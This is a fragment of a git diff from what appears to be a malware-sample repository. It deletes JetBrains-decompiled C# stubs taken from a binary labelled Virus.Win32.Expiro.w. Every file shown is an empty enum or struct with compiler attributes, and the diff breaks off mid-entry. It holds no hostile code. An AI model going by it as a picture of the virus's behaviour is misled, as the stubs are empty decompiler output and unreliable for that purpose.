tag_WBEM_BACKUP_RESTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_BACKUP_RESTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CHANGE_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CHANGE_FLAG_TYPE.cs deleted file mode 100644 index d468254c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CHANGE_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CHANGE_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CHANGE_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPARISON_FLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPARISON_FLAG.cs deleted file mode 100644 index f77da433..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPARISON_FLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPARISON_FLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_COMPARISON_FLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPILER_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPILER_OPTIONS.cs deleted file mode 100644 index 30ef3ff2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPILER_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPILER_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_COMPILER_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONDITION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONDITION_FLAG_TYPE.cs deleted file mode 100644 index 52e80196..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONDITION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONDITION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONDITION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONNECT_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONNECT_OPTIONS.cs deleted file mode 100644 index 0793ade2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONNECT_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONNECT_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONNECT_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_FLAVOR_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_FLAVOR_TYPE.cs deleted file mode 100644 index 9d9e0007..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_FLAVOR_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_FLAVOR_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_FLAVOR_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENERIC_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENERIC_FLAG_TYPE.cs deleted file mode 100644 index 7e1242fc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENERIC_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENERIC_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_GENERIC_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENUS_TYPE.cs deleted file mode 100644 index 4e0a4296..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_GENUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_INFORMATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_INFORMATION_FLAG_TYPE.cs deleted file mode 100644 index eca9e5db..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_INFORMATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_INFORMATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_INFORMATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITATION_FLAG_TYPE.cs deleted file mode 100644 index 7d24edcd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_LIMITATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITS.cs deleted file mode 100644 index a40b19eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_LIMITS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LOCKING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LOCKING.cs deleted file mode 100644 index c7fe50ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LOCKING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LOCKING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_LOCKING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_QUERY_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_QUERY_FLAG_TYPE.cs deleted file mode 100644 index cdd2182f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_QUERY_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_QUERY_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_QUERY_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_REFRESHER_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_REFRESHER_FLAGS.cs deleted file mode 100644 index d2b135d4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_REFRESHER_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_REFRESHER_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_REFRESHER_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SECURITY_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SECURITY_FLAGS.cs deleted file mode 100644 index 0a1a237c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SECURITY_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SECURITY_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_SECURITY_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SHUTDOWN_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SHUTDOWN_FLAGS.cs deleted file mode 100644 index 4aca02a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SHUTDOWN_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SHUTDOWN_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_SHUTDOWN_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_STATUS_TYPE.cs deleted file mode 100644 index 605e7a38..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TEXT_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TEXT_FLAG_TYPE.cs deleted file mode 100644 index ccb3ddba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TEXT_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TEXT_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_TEXT_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TIMEOUT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TIMEOUT_TYPE.cs deleted file mode 100644 index 273a27bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TIMEOUT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TIMEOUT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_TIMEOUT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_UNSECAPP_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_UNSECAPP_FLAG_TYPE.cs deleted file mode 100644 index d61c26a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_UNSECAPP_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_UNSECAPP_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_UNSECAPP_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WMI_OBJ_TEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WMI_OBJ_TEXT.cs deleted file mode 100644 index 0ab27653..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WMI_OBJ_TEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WMI_OBJ_TEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WMI_OBJ_TEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tm.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tm.cs deleted file mode 100644 index 1836ddbd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tm.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tm -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 36)] -internal struct tm -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-identity-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-identity-2007.xsd deleted file mode 100644 index 2740c95b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-identity-2007.xsd +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - diff --git 